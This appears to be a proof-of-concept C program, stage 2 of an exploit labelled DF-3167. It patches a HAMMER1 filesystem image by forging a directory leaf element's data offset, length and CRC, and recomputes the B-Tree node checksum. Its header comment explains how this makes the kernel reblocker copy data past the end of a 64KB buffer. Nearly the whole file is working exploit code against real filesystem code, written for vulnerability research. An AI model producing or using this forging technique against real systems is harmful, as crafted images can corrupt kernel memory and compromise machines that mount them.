DF-3167 / patch_leaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | /* * DF-3167 PoC stage 2 -- forge one DIRENTRY leaf element in a HAMMER1 image. * * Target: the "PWNMARKER_TARGET" dirent leaf elm (verified via `hammer show`): * node 0x8000000021000000 (zone-8 leaf, count=59), elm index 8: * lo=1 objid=0x1000004c6 rt=0x0011 key=0x5311d072c79d0000 tid=0x100010090 * * Forge: * data_offset = 0xa000000022000000 (bigfile's large-data extent, all 'A') * data_len = 65536 (= HAMMER_XBUFSIZE, passes all KKASSERTs) * data_crc = crc('A' x 65536) (per fs version: crc32c for v7, crc32 v6) * and re-CRC the containing 4KB B-Tree node. * * When the reblocker moves this record, hammer_alloc_data() allocates 65536 * bytes in the META zone at the (misaligned) append cursor, the new buffer is * getblk(DOALIGN16K(65536)) = 64KB, and bcopy(cursor->data, ndata, 65536) * writes [xoff, xoff+65536) into it -> xoff bytes past the end of the buffer. */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #define NODE_ZONE8 0x8000000021000000ULL #define ELM_INDEX 8 #define SRC_ZONE10 0xa000000022000000ULL #define OBJID 0x1000004c6ULL #define KEY 0x5311d072c79d0000ULL #define CTID 0x0000000100010090ULL #define NEW_LEN 65536 /* generic reflected CRC */ static uint32_t crc_gen(int c32c, const void *buf, size_t len) { static uint32_t tab[256]; static int c32c_init = -1; uint32_t crc = 0xFFFFFFFFU; const unsigned char *p = buf; if (c32c_init != c32c) { for (uint32_t i = 0; i < 256; i++) { uint32_t c = i; for (int k = 0; k < 8; k++) c = (c & 1) ? (c >> 1) ^ (c32c ? 0x82F63B78U : 0xEDB88320U) : c >> 1; tab[i] = c; } c32c_init = c32c; } for (size_t i = 0; i < len; i++) crc = tab[(crc ^ p[i]) & 0xFF] ^ (crc >> 8); return crc ^ 0xFFFFFFFFU; } static uint64_t rd64(const unsigned char *p) { uint64_t v; memcpy(&v, p, 8); return v; } static void wr64(unsigned char *p, uint64_t v) { memcpy(p, &v, 8); } static uint32_t rd32(const unsigned char *p) { uint32_t v; memcpy(&v, p, 4); return v; } static void wr32(unsigned char *p, uint32_t v) { memcpy(p, &v, 4); } int main(int argc, char **argv) { const char *img = argc > 1 ? argv[1] : "/build/poc.img"; unsigned char vol[16384], node[4096], src[NEW_LEN]; int fd; uint64_t buf_beg, node_raw, src_raw, sig; uint32_t ver, stored_crc, calc_c, calc_z; off_t off; unsigned char *elm; fd = open(img, O_RDWR); if (fd < 0) { perror("open"); return 1; } if (pread(fd, vol, sizeof(vol), 0) != sizeof(vol)) { perror("read vol"); return 1; } sig = rd64(vol); if (sig != 0xC8414D4DC5523031ULL) { printf("bad vol sig %016jx\n", (uintmax_t)sig); return 1; } buf_beg = rd64(vol + 24); ver = rd32(vol + 152); printf("vol_buf_beg=0x%jx vol_version=%u\n", (uintmax_t)buf_beg, ver); node_raw = buf_beg + (NODE_ZONE8 & 0x00FFFFFFFFFFFFFFULL); src_raw = buf_beg + (SRC_ZONE10 & 0x00FFFFFFFFFFFFFFULL); printf("node raw=0x%jx src raw=0x%jx\n", (uintmax_t)node_raw, (uintmax_t)src_raw); if (pread(fd, node, sizeof(node), node_raw) != sizeof(node)) { perror("read node"); return 1; } if (pread(fd, src, sizeof(src), src_raw) != sizeof(src)) { perror("read src"); return 1; } for (int i = 0; i < NEW_LEN; i++) if (src[i] != 'A') { printf("src[0x%x]=%02x not 'A' -- wrong extent?\n", i, src[i]); return 1; } /* validate node */ if (node[20] != 'L') { printf("node type=%02x not 'L'\n", node[20]); return 1; } if ((int32_t)rd32(node + 16) <= ELM_INDEX) { printf("count=%d too small\n", (int32_t)rd32(node + 16)); return 1; } if (rd64(node + 8) != 0x8000000021001000ULL) { printf("parent=%016jx unexpected\n", (uintmax_t)rd64(node + 8)); return 1; } stored_crc = rd32(node); calc_c = crc_gen(1, node + 4, 4092); /* crc32c */ calc_z = crc_gen(0, node + 4, 4092); /* crc32 */ int use_c32c; if (stored_crc == calc_c) use_c32c = 1; else if (stored_crc == calc_z) use_c32c = 0; else { printf("node crc mismatch (stored=%08x c32c=%08x crc32=%08x)\n", stored_crc, calc_c, calc_z); return 1; } printf("node CRC algorithm: %s (stored=%08x)\n", use_c32c ? "iscsi_crc32(crc32c)" : "crc32", stored_crc); elm = node + 64 + ELM_INDEX * 64; if (rd64(elm + 0) != OBJID || rd64(elm + 8) != KEY || rd64(elm + 16) != CTID || rd32(elm + 36) != 1 || elm[32] != 0x11 || elm[32+1] != 0x00 || elm[35] != 'R') { printf("elm mismatch: objid=%016jx key=%016jx tid=%016jx lo=%08x rt=%02x%02x btype=%02x\n", (uintmax_t)rd64(elm), (uintmax_t)rd64(elm+8), (uintmax_t)rd64(elm+16), rd32(elm+36), elm[33], elm[32], elm[35]); return 1; } printf("elm found: old dataoff=%016jx len=%d crc=%08x\n", (uintmax_t)rd64(elm+48), (int32_t)rd32(elm+56), rd32(elm+60)); /* forge */ wr64(elm + 48, SRC_ZONE10); wr32(elm + 56, NEW_LEN); wr32(elm + 60, crc_gen(use_c32c, src, NEW_LEN)); stored_crc = crc_gen(use_c32c, node + 4, 4092); wr32(node, stored_crc); if (pwrite(fd, node, sizeof(node), node_raw) != sizeof(node)) { perror("write node"); return 1; } printf("PATCHED: dataoff=%016jx len=%d crc=%08x nodecrc=%08x\n", (uintmax_t)SRC_ZONE10, NEW_LEN, rd32(elm+60), stored_crc); return 0; } |